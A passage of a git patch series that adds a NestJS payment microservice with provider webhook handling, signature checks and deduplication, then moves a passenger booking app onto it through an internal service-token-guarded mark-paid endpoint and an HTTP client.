"../intents/intents.repository"; +import { + IntentsService, + ProviderResultInput, +} from "../intents/intents.service"; +import { WebhookEventsRepository } from "./webhook-events.repository"; + +/** A provider webhook reduced to the fields the shared pipeline needs. */ +export interface NormalizedWebhook { + provider: ProviderMethod; + /** Provider event id (or a deterministic derivation) — the dedupe key. */ + externalEventId: string; + merchantOrderId: string; + providerTxnId?: string; + signatureValid: boolean; + /** Raw provider status string, stored for audit. */ + rawStatus: string; + payload: Record; + /** Mapped outcome to feed the intent state machine. */ + result: ProviderResultInput; +} + +/** + * The shared webhook pipeline every provider handler funnels into: + * persist+dedupe → signature gate → intent lookup → prefix/service cross-check → + * state machine → mark processed. Always returns (never throws) so controllers can + * ack 200 fast — providers like Waafi time out at 5s and do not retry. + */ +@Injectable() +export class WebhookProcessorService { + private readonly logger = new Logger(WebhookProcessorService.name); + + constructor( + private readonly webhookEvents: WebhookEventsRepository, + private readonly intentsRepository: IntentsRepository, + private readonly intentsService: IntentsService, + ) {} + + async process(webhook: NormalizedWebhook): Promise { + const { provider, merchantOrderId } = webhook; + + const eventRow = await this.webhookEvents.createDeduped({ + provider, + externalEventId: webhook.externalEventId, + merchantOrderId, + providerTxnId: webhook.providerTxnId ?? null, + signatureValid: webhook.signatureValid, + status: webhook.rawStatus, + payload: webhook.payload, + }); + if (!eventRow) { + this.logger.log( + `${provider} webhook duplicate: ${webhook.externalEventId} — short-circuit OK`, + ); + return; + } + + if (!webhook.signatureValid) { + this.logger.warn( + `${provider} webhook signature invalid/stale for ref=${merchantOrderId}`, + ); + await this.webhookEvents.markProcessed(eventRow.id, "signature-invalid"); + return; + } + + const intent = + await this.intentsRepository.findByMerchantOrderId(merchantOrderId); + if (!intent) { + // Tolerated: webhook may have raced the intent commit, or the reference is foreign. + // The provider gets a 200; retry/poll/reconciliation converges later. + this.logger.warn( + `${provider} webhook: no PaymentIntent for ref=${merchantOrderId}`, + ); + await this.webhookEvents.markProcessed(eventRow.id, "intent-not-found"); + return; + } + + // Integrity guard (§10): the stateless prefix and the stored discriminator must agree. + const expectedPrefix = + MERCHANT_ORDER_PREFIX[intent.service as PaymentService]; + if (expectedPrefix && !merchantOrderId.startsWith(expectedPrefix)) { + this.logger.error( + `${provider} webhook: merchantOrderId ${merchantOrderId} prefix does not match stored service ${intent.service} — refusing to process`, + ); + await this.webhookEvents.markProcessed( + eventRow.id, + "service-prefix-mismatch", + ); + return; + } + + try { + await this.intentsService.applyProviderResult(intent.id, webhook.result); + await this.webhookEvents.markProcessed(eventRow.id); + } catch (err) { + const message = err instanceof Error ? err.message : String(err); + this.logger.error( + `${provider} webhook processing failed for ${merchantOrderId}: ${message}`, + ); + await this.webhookEvents.markProcessed( + eventRow.id, + `processing-error: ${message}`, + ); + } + } +} diff --git a/apps/edr-payment-api/src/modules/webhooks/webhooks.controller.ts b/apps/edr-payment-api/src/modules/webhooks/webhooks.controller.ts new file mode 100644 index 000000000..95ca51adc --- /dev/null +++ b/apps/edr-payment-api/src/modules/webhooks/webhooks.controller.ts @@ -0,0 +1,143 @@ +import { + All, + Body, + Controller, + Headers, + HttpCode, + HttpStatus, + Logger, + Post, + Req, +} from "@nestjs/common"; +import { ApiOperation, ApiTags } from "@nestjs/swagger"; +import { + CardWebhookPayload, + CbeBirrWebhookPayload, + DMoneyWebhookPayload, + EBirrWebhookPayload, + TelebirrWebhookPayload, + WaafiWebhookHeaders, + WaafiWebhookPayload, +} from "@edr/payment-providers"; +import { TelebirrWebhookService } from "./handlers/telebirr-webhook.service"; +import { CbeBirrWebhookService } from "./handlers/cbe-birr-webhook.service"; +import { EBirrWebhookService } from "./handlers/ebirr-webhook.service"; +import { CardWebhookService } from "./handlers/card-webhook.service"; +import { WaafiWebhookService } from "./handlers/waafi-webhook.service"; +import { DMoneyWebhookService } from "./handlers/dmoney-webhook.service"; + +/** + * The ONLY public surface of the payment service — the single registered webhook URL per + * provider for the whole platform. No service auth here (provider-facing); trust comes from + * signature verification inside each handler. Every route acks 2xx fast and never rethrows: + * Waafi times out at 5s and does NOT retry. + */ +@ApiTags("Provider Webhooks") +@Controller("webhooks") +export class WebhooksController { + private readonly logger = new Logger(WebhooksController.name); + + constructor( + private readonly telebirr: TelebirrWebhookService, + private readonly cbeBirr: CbeBirrWebhookService, + private readonly eBirr: EBirrWebhookService, + private readonly card: CardWebhookService, + private readonly waafi: WaafiWebhookService, + private readonly dMoney: DMoneyWebhookService, + ) {} + + @All("telebirr") + @HttpCode(HttpStatus.OK) + @ApiOperation({ + summary: "Telebirr payment notification callback (Ethiopia)", + }) + async receiveTelebirr(@Body() payload: TelebirrWebhookPayload) { + this.logger.log("Telebirr webhook called"); + try { + await this.telebirr.handle(payload); + } catch (err) { + this.logger.error(`Telebirr webhook handler threw: ${this.message(err)}`); + } + return { code: "0", message: "OK" }; + } + + @Post("cbe-birr") + @HttpCode(HttpStatus.OK) + @ApiOperation({ + summary: "CBE Birr payment notification callback (Ethiopia)", + }) + async receiveCbeBirr(@Body() payload: CbeBirrWebhookPayload) { + try { + await this.cbeBirr.handle(payload); + } catch (err) { + this.logger.error(`CBE Birr webhook handler threw: ${this.message(err)}`); + } + return { success: true }; + } + + @Post("ebirr") + @HttpCode(HttpStatus.OK) + @ApiOperation({ summary: "eBirr payment notification callback (Ethiopia)" }) + async receiveEBirr(@Body() payload: EBirrWebhookPayload) { + try { + await this.eBirr.handle(payload); + } catch (err) { + this.logger.error(`eBirr webhook handler threw: ${this.message(err)}`); + } + return { code: "0000", message: "success" }; + } + + @Post("card") + @HttpCode(HttpStatus.OK) + @ApiOperation({ + summary: "Card payment notification callback (International)", + }) + async receiveCard( + @Body() payload: CardWebhookPayload, + @Headers("stripe-signature") signature: string, + ) { + try { + await this.card.handle(payload, signature); + } catch (err) { + this.logger.error(`Card webhook handler threw: ${this.message(err)}`); + } + return { received: true }; + } + + @Post("waafi") + @HttpCode(HttpStatus.OK) + @ApiOperation({ summary: "Waafi payment notification callback (Djibouti)" }) + async receiveWaafi( + @Body() payload: WaafiWebhookPayload, + @Headers() headers: WaafiWebhookHeaders, + @Req() req: { rawBody?: Buffer }, + ) { + this.logger.log( + `Waafi webhook hit: event=${payload?.event ?? "unknown"} eventId=${headers["x-webhook-event-id"] ?? "n/a"}`, + ); + try { + // HMAC verification must sign over the exact raw bytes Waafi sent, not re-serialized JSON. + const rawBody = req.rawBody?.toString("utf8") ?? ""; + await this.waafi.handle(payload, rawBody, headers); + } catch (err) { + this.logger.error(`Waafi webhook handler threw: ${this.message(err)}`); + } + return { responseCode: "2001", responseMsg: "Success" }; + } + + @Post("dmoney") + @HttpCode(HttpStatus.OK) + @ApiOperation({ summary: "D-Money payment notification callback (Djibouti)" }) + async receiveDMoney(@Body() payload: DMoneyWebhookPayload) { + try { + await this.dMoney.handle(payload); + } catch (err) { + this.logger.error(`D-Money webhook handler threw: ${this.message(err)}`); + } + return { success: true }; + } + + private message(err: unknown): string { + return err instanceof Error ? err.message : String(err); + } +} diff --git a/apps/edr-payment-api/src/modules/webhooks/webhooks.module.ts b/apps/edr-payment-api/src/modules/webhooks/webhooks.module.ts new file mode 100644 index 000000000..86b94032b --- /dev/null +++ b/apps/edr-payment-api/src/modules/webhooks/webhooks.module.ts @@ -0,0 +1,34 @@ +import { Module } from "@nestjs/common"; +import { TypeOrmModule } from "@nestjs/typeorm"; +import { IntentsModule } from "../intents/intents.module"; +import { ProvidersModule } from "../providers/providers.module"; +import { PaymentWebhookEvent } from "./entities/payment-webhook-event.entity"; +import { WebhookEventsRepository } from "./webhook-events.repository"; +import { WebhookProcessorService } from "./webhook-processor.service"; +import { WebhooksController } from "./webhooks.controller"; +import { TelebirrWebhookService } from "./handlers/telebirr-webhook.service"; +import { CbeBirrWebhookService } from "./handlers/cbe-birr-webhook.service"; +import { EBirrWebhookService } from "./handlers/ebirr-webhook.service"; +import { CardWebhookService } from "./handlers/card-webhook.service"; +import { WaafiWebhookService } from "./handlers/waafi-webhook.service"; +import { DMoneyWebhookService } from "./handlers/dmoney-webhook.service"; + +@Module({ + imports: [ + TypeOrmModule.forFeature([PaymentWebhookEvent]), + IntentsModule, + ProvidersModule, + ], + controllers: [WebhooksController], + providers: [ + WebhookEventsRepository, + WebhookProcessorService, + TelebirrWebhookService, + CbeBirrWebhookService, + EBirrWebhookService, + CardWebhookService, + WaafiWebhookService, + DMoneyWebhookService, + ], +}) +export class WebhooksModule {} diff --git a/apps/edr-payment-api/src/scripts/migrate-revert.ts b/apps/edr-payment-api/src/scripts/migrate-revert.ts new file mode 100644 index 000000000..88b1500e5 --- /dev/null +++ b/apps/edr-payment-api/src/scripts/migrate-revert.ts @@ -0,0 +1,18 @@ +import "dotenv/config"; +import { AppDataSource } from "../data-source"; + +/** `pnpm --filter @edr/payment-api migration:revert` — undo the most recent migration. */ +async function main(): Promise { + await AppDataSource.initialize(); + try { + await AppDataSource.undoLastMigration(); + console.log("reverted last migration"); + } finally { + await AppDataSource.destroy(); + } +} + +main().catch((err) => { + console.error(err); + process.exit(1); +}); diff --git a/apps/edr-payment-api/src/scripts/migrate.ts b/apps/edr-payment-api/src/scripts/migrate.ts new file mode 100644 index 000000000..05f59f1b9 --- /dev/null +++ b/apps/edr-payment-api/src/scripts/migrate.ts @@ -0,0 +1,23 @@ +import "dotenv/config"; +import { AppDataSource } from "../data-source"; +import { ensurePaymentSchema } from "../config/ensure-schema"; + +/** `pnpm --filter @edr/payment-api migration:run` — ensure schema, then run pending migrations. */ +async function main(): Promise { + await ensurePaymentSchema(); + await AppDataSource.initialize(); + try { + const applied = await AppDataSource.runMigrations(); + for (const migration of applied) { + console.log(`applied: ${migration.name}`); + } + if (applied.length === 0) console.log("no pending migrations"); + } finally { + await AppDataSource.destroy(); + } +} + +main().catch((err) => { + console.error(err); + process.exit(1); +}); diff --git a/apps/edr-payment-api/tsconfig.build.json b/apps/edr-payment-api/tsconfig.build.json new file mode 100644 index 000000000..64f86c6bd --- /dev/null +++ b/apps/edr-payment-api/tsconfig.build.json @@ -0,0 +1,4 @@ +{ + "extends": "./tsconfig.json", + "exclude": ["node_modules", "test", "dist", "**/*spec.ts"] +} diff --git a/apps/edr-payment-api/tsconfig.json b/apps/edr-payment-api/tsconfig.json new file mode 100644 index 000000000..467c474ee --- /dev/null +++ b/apps/edr-payment-api/tsconfig.json @@ -0,0 +1,14 @@ +{ + "extends": "@edr/tsconfig/nestjs.json", + "compilerOptions": { + "baseUrl": "./", + "outDir": "./dist", + "rootDir": "./src", + "noEmit": false, + "incremental": true, + "tsBuildInfoFile": "./.tsbuildinfo", + "module": "node16", + "moduleResolution": "node16" + }, + "include": ["src"] +} diff --git a/package.json b/package.json index 399ded0bf..575de8c41 100644 --- a/package.json +++ b/package.json @@ -6,6 +6,7 @@ "dev": "turbo run dev", "dev:freight": "turbo run dev --filter=@edr/freight-api... --filter=@edr/freight-portal... --filter=@edr/freight-backoffice... --filter=@edr/ui-common...", "dev:passenger": "turbo run dev --filter=@edr/passenger-api... --filter=@edr/passenger-portal... --filter=@edr/passenger-backoffice...", + "dev:payment": "turbo run dev --filter=@edr/payment-api...", "build": "turbo run build", "build:freight": "turbo run build --filter=@edr/freight-api... --filter=@edr/freight-portal... --filter=@edr/freight-backoffice...", "build:passenger": "turbo run build --filter=@edr/passenger-api... --filter=@edr/passenger-portal... --filter=@edr/passenger-backoffice...", diff --git a/packages/types/src/common/payments.ts b/packages/types/src/common/payments.ts index 18fbfc8b1..0cf2174c3 100644 --- a/packages/types/src/common/payments.ts +++ b/packages/types/src/common/payments.ts @@ -74,3 +74,98 @@ export interface PaymentProvider { initiate(input: ProviderInitiationInput): Promise; queryStatus(merchantOrderId: string): Promise; } + +/* ------------------------------------------------------------------------------------------------ + * Payment microservice contracts (docs/payment-service) + * + * Shared shapes exchanged between the payment microservice (apps/edr-payment-api) and the + * domain apps (passenger/freight). Both sides import these so the wire format cannot drift. + * ---------------------------------------------------------------------------------------------- */ + +/** Which domain app owns the order being paid for. Routing discriminator on every intent. */ +export enum PaymentService { + PASSENGER = "PASSENGER", + FREIGHT = "FREIGHT", +} + +/** What kind of domain order the intent references (soft reference — never a cross-schema FK). */ +export enum PaymentReferenceType { + BOOKING = "BOOKING", + SHIPMENT = "SHIPMENT", +} + +/** `merchant_order_id` prefix per owning service — lets a webhook be routed before a DB lookup. */ +export const MERCHANT_ORDER_PREFIX: Record = { + [PaymentService.PASSENGER]: "PSG-", + [PaymentService.FREIGHT]: "FRT-", +}; + +/** Body of `POST /payments/initiate` on the payment service (internal, service-authenticated). */ +export interface InitiatePaymentRequest { + service: PaymentService; + referenceType: PaymentReferenceType; + /** Domain order id (booking/shipment id). Soft reference; the app has already validated it. */ + referenceId: string; + /** Human-readable order ref (e.g. booking ref) shown on provider pages. Defaults to referenceId. */ + orderRef?: string; + /** App-asserted authoritative amount in minor units (computed server-side by the domain app). */ + amountMinor: number; + currency: string; + provider: ProviderMethod; + platform?: PaymentPlatform; + payerAccount?: string; + /** Optional caller key to dedupe retried initiations beyond the per-reference upsert. */ + idempotencyKey?: string; +} + +/** Response of `POST /payments/initiate` and shape of intent lookups. */ +export interface PaymentIntentSnapshot { + intentId: string; + service: PaymentService; + referenceType: PaymentReferenceType; + referenceId: string; + merchantOrderId: string; + provider: ProviderMethod; + status: ProviderPaymentStatus; + amountMinor: number; + currency: string; + clientAction?: ClientAction; + providerTxnId?: string; + paidAt?: string; + failureCode?: string; + failureMessage?: string; + expiresAt?: string; +} + +export type PaymentEventType = "payment.succeeded" | "payment.failed"; + +/** Versioned envelope delivered (at-least-once) to the owning app's mark-paid consumer. */ +interface PaymentEventBase { + version: 1; + /** Outbox row id — stable across redeliveries; consumers may use it as a dedupe key. */ + eventId: string; + eventType: PaymentEventType; + occurredAt: string; + service: PaymentService; + intentId: string; + referenceType: PaymentReferenceType; + referenceId: string; + merchantOrderId: string; + provider: ProviderMethod; + amountMinor: number; + currency: string; +} + +export interface PaymentSucceededEvent extends PaymentEventBase { + eventType: "payment.succeeded"; + providerTxnId?: string; + paidAt: string; +} + +export interface PaymentFailedEvent extends PaymentEventBase { + eventType: "payment.failed"; + failureCode?: string; + failureMessage?: string; +} + +export type PaymentEvent = PaymentSucceededEvent | PaymentFailedEvent; diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 9b91c2013..3d4aa9a32 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -672,6 +672,112 @@ importers: specifier: ^5.5.4 version: 5.9.3 + apps/edr-payment-api: + dependencies: + '@edr/api-common': + specifier: workspace:* + version: link:../../packages/api-common + '@edr/payment-providers': + specifier: workspace:* + version: link:../../packages/payment-providers + '@edr/types': + specifier: workspace:* + version: link:../../packages/types + '@nestjs/axios': + specifier: ^4.0.1 + version: 4.0.1(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(axios@1.17.0)(rxjs@7.8.2) + '@nestjs/common': + specifier: ^11.0.0 + version: 11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/config': + specifier: ^4.0.0 + version: 4.0.4(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(rxjs@7.8.2) + '@nestjs/core': + specifier: ^11.0.0 + version: 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.24)(reflect-metadata@0.2.2)(rxjs@7.8.2) + '@nestjs/platform-express': + specifier: ^11.0.0 + version: 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24) + '@nestjs/schedule': + specifier: ^6.0.0 + version: 6.1.3(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24) + '@nestjs/swagger': + specifier: ^11.4.2 + version: 11.4.4(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2) + '@nestjs/typeorm': + specifier: ^11.0.1 + version: 11.0.1(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(reflect-metadata@0.2.2)(rxjs@7.8.2)(typeorm@0.3.30(babel-plugin-macros@3.1.0)(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.42)(typescript@5.9.3))) + axios: + specifier: ^1.16.1 + version: 1.17.0 + class-transformer: + specifier: ^0.5.1 + version: 0.5.1 + class-validator: + specifier: ^0.14.1 + version: 0.14.4 + dotenv: + specifier: ^17.4.2 + version: 17.4.2 + pg: + specifier: ^8.13.0 + version: 8.21.0 + reflect-metadata: + specifier: ^0.2.2 + version: 0.2.2 + rxjs: + specifier: ^7.8.1 + version: 7.8.2 + typeorm: + specifier: 0.3.30 + version: 0.3.30(babel-plugin-macros@3.1.0)(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.42)(typescript@5.9.3)) + devDependencies: + '@edr/eslint-config': + specifier: workspace:* + version: link:../../packages/config/eslint-config + '@edr/tsconfig': + specifier: workspace:* + version: link:../../packages/config/tsconfig + '@nestjs/cli': + specifier: ^11.0.0 + version: 11.0.21(@types/node@20.19.42)(prettier@3.8.3) + '@nestjs/schematics': + specifier: ^11.0.0 + version: 11.1.0(chokidar@4.0.3)(prettier@3.8.3)(typescript@5.9.3) + '@nestjs/testing': + specifier: ^11.0.0 + version: 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.24) + '@types/express': + specifier: ^5.0.0 + version: 5.0.6 + '@types/jest': + specifier: ^29.5.13 + version: 29.5.14 + '@types/node': + specifier: ^20.14.0 + version: 20.19.42 + '@types/pg': + specifier: ^8.6.7 + version: 8.20.0 + jest: + specifier: ^29.7.0 + version: 29.7.0(@types/node@20.19.42)(babel-plugin-macros@3.1.0)(ts-node@10.9.2(@types/node@20.19.42)(typescript@5.9.3)) + ts-jest: + specifier: ^29.2.5 + version: 29.4.11(@babel/core@7.29.7)(@jest/transform@29.7.0)(@jest/types@29.6.3)(babel-jest@29.7.0(@babel/core@7.29.7))(jest-util@29.7.0)(jest@29.7.0(@types/node@20.19.42)(babel-plugin-macros@3.1.0)(ts-node@10.9.2(@types/node@20.19.42)(typescript@5.9.3)))(typescript@5.9.3) + ts-loader: + specifier: ^9.5.1 + version: 9.6.0(loader-utils@1.4.2)(typescript@5.9.3)(webpack@5.106.0) + ts-node: + specifier: ^10.9.2 + version: 10.9.2(@types/node@20.19.42)(typescript@5.9.3) + tsconfig-paths: + specifier: ^4.2.0 + version: 4.2.0 + typescript: + specifier: ^5.5.4 + version: 5.9.3 + packages/api-common: dependencies: '@edr/types': From ef7b85c8cbdf09f30c2b8056b267a00fa7873f74 Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Fri, 12 Jun 2026 11:47:11 +0300 Subject: [PATCH 16/31] feat: ( payment ) integrate the passenger to payment microservice --- apps/edr-passenger-api/package.json | 1 - .../src/common/guards/service-auth.guard.ts | 54 ++ .../payments/internal-payments.controller.ts | 35 ++ .../modules/payments/internal-payments.dto.ts | 57 ++ .../payments/payment-client.service.ts | 92 ++++ .../src/modules/payments/payments.adapters.ts | 58 +- .../modules/payments/payments.controller.ts | 204 ++++--- .../src/modules/payments/payments.dto.ts | 125 +++-- .../src/modules/payments/payments.e2e-spec.ts | 193 ++++--- .../src/modules/payments/payments.module.ts | 53 +- .../modules/payments/payments.service.spec.ts | 318 ++++++----- .../src/modules/payments/payments.service.ts | 513 ++++++++++++------ .../src/modules/payments/payments.types.ts | 9 +- .../payments/webhooks/card-webhook.service.ts | 129 ----- .../webhooks/cbe-birr-webhook.service.ts | 127 ----- .../webhooks/ebirr-webhook.service.ts | 127 ----- .../webhooks/telebirr-webhook.service.ts | 149 ----- .../webhooks/waafi-webhook.service.ts | 181 ------ .../payments/webhooks/webhooks.controller.ts | 126 ----- .../intents/dto/initiate-payment.dto.ts | 19 + .../src/modules/intents/intents.service.ts | 9 +- .../webhooks/webhook-processor.service.ts | 20 +- .../modules/webhooks/webhooks.controller.ts | 2 + .../src/providers/card/card.provider.ts | 86 +-- .../providers/cbe-birr/cbe-birr.provider.ts | 72 +-- .../src/providers/dmoney/dmoney.provider.ts | 8 +- .../src/providers/ebirr/ebirr.provider.ts | 85 +-- .../providers/telebirr/telebirr.provider.ts | 207 ++++--- .../src/providers/waafi/waafi.provider.ts | 126 +++-- packages/types/src/common/payments.ts | 17 +- pnpm-lock.yaml | 3 - 31 files changed, 1555 insertions(+), 1650 deletions(-) create mode 100644 apps/edr-passenger-api/src/common/guards/service-auth.guard.ts create mode 100644 apps/edr-passenger-api/src/modules/payments/internal-payments.controller.ts create mode 100644 apps/edr-passenger-api/src/modules/payments/internal-payments.dto.ts create mode 100644 apps/edr-passenger-api/src/modules/payments/payment-client.service.ts delete mode 100644 apps/edr-passenger-api/src/modules/payments/webhooks/card-webhook.service.ts delete mode 100644 apps/edr-passenger-api/src/modules/payments/webhooks/cbe-birr-webhook.service.ts delete mode 100644 apps/edr-passenger-api/src/modules/payments/webhooks/ebirr-webhook.service.ts delete mode 100644 apps/edr-passenger-api/src/modules/payments/webhooks/telebirr-webhook.service.ts delete mode 100644 apps/edr-passenger-api/src/modules/payments/webhooks/waafi-webhook.service.ts delete mode 100644 apps/edr-passenger-api/src/modules/payments/webhooks/webhooks.controller.ts diff --git a/apps/edr-passenger-api/package.json b/apps/edr-passenger-api/package.json index a0d6c988b..3ff2f8b62 100644 --- a/apps/edr-passenger-api/package.json +++ b/apps/edr-passenger-api/package.json @@ -21,7 +21,6 @@ }, "dependencies": { - "@edr/payment-providers": "workspace:*", "@edr/types": "workspace:*", "@nestjs/axios": "^4.0.1", "@nestjs/common": "^11.0.0", diff --git a/apps/edr-passenger-api/src/common/guards/service-auth.guard.ts b/apps/edr-passenger-api/src/common/guards/service-auth.guard.ts new file mode 100644 index 000000000..b47876d4c --- /dev/null +++ b/apps/edr-passenger-api/src/common/guards/service-auth.guard.ts @@ -0,0 +1,54 @@ +import { + CanActivate, + ExecutionContext, + Injectable, + Logger, + UnauthorizedException, +} from "@nestjs/common"; +import { timingSafeEqual } from "node:crypto"; +import { Request } from "express"; + +/** + * Shared-secret guard for endpoints only the payment microservice may call + * (e.g. /internal/payments/mark-paid). The secret is the same SERVICE_AUTH_TOKEN the + * payment service enforces on its own internal surface. A forged mark-paid must not be able + * to confirm a booking without a real payment. + * TODO: integrate @tria-plc IAM / mTLS as the long-term mechanism. + */ +@Injectable() +export class ServiceAuthGuard implements CanActivate { + private readonly logger = new Logger(ServiceAuthGuard.name); + private readonly token = process.env.SERVICE_AUTH_TOKEN ?? ""; + private warned = false; + + constructor() { + if (!this.token && process.env.NODE_ENV === "production") { + throw new Error("SERVICE_AUTH_TOKEN must be set in production"); + } + } + + canActivate(context: ExecutionContext): boolean { + if (!this.token) { + if (!this.warned) { + this.logger.warn( + "SERVICE_AUTH_TOKEN unset — internal endpoints are UNGUARDED (dev only)", + ); + this.warned = true; + } + return true; + } + + const request = context.switchToHttp().getRequest(); + const header = request.headers["x-service-token"]; + const bearer = request.headers.authorization?.replace(/^Bearer\s+/i, ""); + const presented = + (Array.isArray(header) ? header[0] : header) ?? bearer ?? ""; + + const expected = Buffer.from(this.token); + const actual = Buffer.from(presented); + const valid = + expected.length === actual.length && timingSafeEqual(expected, actual); + if (!valid) throw new UnauthorizedException("Invalid service token"); + return true; + } +} diff --git a/apps/edr-passenger-api/src/modules/payments/internal-payments.controller.ts b/apps/edr-passenger-api/src/modules/payments/internal-payments.controller.ts new file mode 100644 index 000000000..98262c4c3 --- /dev/null +++ b/apps/edr-passenger-api/src/modules/payments/internal-payments.controller.ts @@ -0,0 +1,35 @@ +import { + Body, + Controller, + HttpCode, + HttpStatus, + Post, + UseGuards, +} from "@nestjs/common"; +import { ApiOperation, ApiTags } from "@nestjs/swagger"; +import { ServiceAuthGuard } from "../../common/guards/service-auth.guard"; +import { PaymentEventDto, MarkPaidResponseDto } from "./internal-payments.dto"; +import { PaymentsService } from "./payments.service"; + +/** + * Consumer side of the payment microservice's outbox relay (docs/payment-service §7.3). + * Only the payment service may call this (shared service token). Idempotent by design: + * the relay delivers at-least-once, so duplicates must be harmless. Becomes a queue + * consumer when RabbitMQ lands — the handler logic is transport-agnostic. + */ +@ApiTags("Internal Payments") +@UseGuards(ServiceAuthGuard) +@Controller("internal/payments") +export class InternalPaymentsController { + constructor(private readonly paymentsService: PaymentsService) {} + + @Post("mark-paid") + @HttpCode(HttpStatus.OK) + @ApiOperation({ + summary: + "Apply a payment.succeeded/payment.failed event from the payment service (idempotent)", + }) + async markPaid(@Body() event: PaymentEventDto): Promise { + return this.paymentsService.handlePaymentEvent(event); + } +} diff --git a/apps/edr-passenger-api/src/modules/payments/internal-payments.dto.ts b/apps/edr-passenger-api/src/modules/payments/internal-payments.dto.ts new file mode 100644 index 000000000..ce421f78a --- /dev/null +++ b/apps/edr-passenger-api/src/modules/payments/internal-payments.dto.ts @@ -0,0 +1,57 @@ +import { + IsEnum, + IsIn, + IsInt, + IsISO8601, + IsOptional, + IsPositive, + IsString, + IsUUID, +} from "class-validator"; +import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger"; +import { + PaymentEventType, + PaymentReferenceType, + PaymentService, + ProviderMethod, +} from "@edr/types"; + +/** + * Wire shape of the `PaymentEvent` envelope (@edr/types) delivered by the payment + * microservice's outbox relay. Delivery is at-least-once — the consumer is idempotent. + */ +export class PaymentEventDto { + @ApiProperty({ enum: [1] }) @IsIn([1]) version!: 1; + @ApiProperty() @IsUUID() eventId!: string; + @ApiProperty({ enum: ["payment.succeeded", "payment.failed"] }) + @IsIn(["payment.succeeded", "payment.failed"]) + eventType!: PaymentEventType; + + @ApiProperty() @IsISO8601() occurredAt!: string; + @ApiProperty({ enum: PaymentService }) + @IsEnum(PaymentService) + service!: PaymentService; + @ApiProperty() @IsUUID() intentId!: string; + @ApiProperty({ enum: PaymentReferenceType }) + @IsEnum(PaymentReferenceType) + referenceType!: PaymentReferenceType; + + @ApiProperty() @IsString() referenceId!: string; + @ApiProperty() @IsString() merchantOrderId!: string; + @ApiProperty({ enum: ProviderMethod }) + @IsEnum(ProviderMethod) + provider!: ProviderMethod; + @ApiProperty() @IsInt() @IsPositive() amountMinor!: number; + @ApiProperty() @IsString() currency!: string; + + @ApiPropertyOptional() @IsOptional() @IsString() providerTxnId?: string; + @ApiPropertyOptional() @IsOptional() @IsISO8601() paidAt?: string; + @ApiPropertyOptional() @IsOptional() @IsString() failureCode?: string; + @ApiPropertyOptional() @IsOptional() @IsString() failureMessage?: string; +} + +export class MarkPaidResponseDto { + @ApiProperty() processed!: boolean; + @ApiPropertyOptional() alreadyFinalized?: boolean; + @ApiPropertyOptional() reason?: string; +} diff --git a/apps/edr-passenger-api/src/modules/payments/payment-client.service.ts b/apps/edr-passenger-api/src/modules/payments/payment-client.service.ts new file mode 100644 index 000000000..dc52cff6f --- /dev/null +++ b/apps/edr-passenger-api/src/modules/payments/payment-client.service.ts @@ -0,0 +1,92 @@ +import { BadGatewayException, Injectable, Logger } from "@nestjs/common"; +import { HttpService } from "@nestjs/axios"; +import { AxiosError } from "axios"; +import { firstValueFrom } from "rxjs"; +import { + InitiatePaymentRequest, + PaymentIntentSnapshot, + PaymentReferenceType, + PaymentService, +} from "@edr/types"; + +/** + * Thin HTTP client for the payment microservice (apps/edr-payment-api) — the passenger app's + * side of the Phase 6 cutover (docs/payment-service §10). Domain validation stays here; + * provider calls, intents, and webhooks live in the payment service. + */ +@Injectable() +export class PaymentClientService { + private readonly logger = new Logger(PaymentClientService.name); + private readonly baseUrl = ( + process.env.PAYMENT_API_URL ?? "http://localhost:3003" + ).replace(/\/$/, ""); + private readonly serviceToken = process.env.SERVICE_AUTH_TOKEN ?? ""; + + constructor(private readonly http: HttpService) {} + + /** POST /payments/initiate — idempotent per (service, referenceType, referenceId). */ + async initiate( + request: InitiatePaymentRequest, + ): Promise { + return this.call("POST", "/payments/initiate", request); + } + + /** GET /payments/intents?… — active intent by domain reference; null when none exists. */ + async getIntentByReference( + referenceType: PaymentReferenceType, + referenceId: string, + ): Promise { + const query = new URLSearchParams({ + service: PaymentService.PASSENGER, + referenceType, + referenceId, + }); + try { + return await this.call("GET", `/payments/intents?${query.toString()}`); + } catch (err) { + if (err instanceof AxiosError && err.response?.status === 404) + return null; + throw err; + } + } + + private async call( + method: "GET" | "POST", + path: string, + body?: unknown, + ): Promise { + const url = `${this.baseUrl}${path}`; + try { + const response = await firstValueFrom( + this.http.request({ + method, + url, + data: body, + headers: this.serviceToken + ? { "x-service-token": this.serviceToken } + : {}, + }), + ); + return response.data; + } catch (err) { + if (err instanceof AxiosError && err.response) { + // 4xx/5xx from the payment service: propagate 404 to callers that handle it; + // everything else is a gateway-level failure from the client's perspective. + if (err.response.status === 404) throw err; + const detail = + (err.response.data as { message?: string | string[] })?.message ?? + err.message; + this.logger.error( + `payment service ${method} ${path} → ${err.response.status}: ${detail}`, + ); + throw new 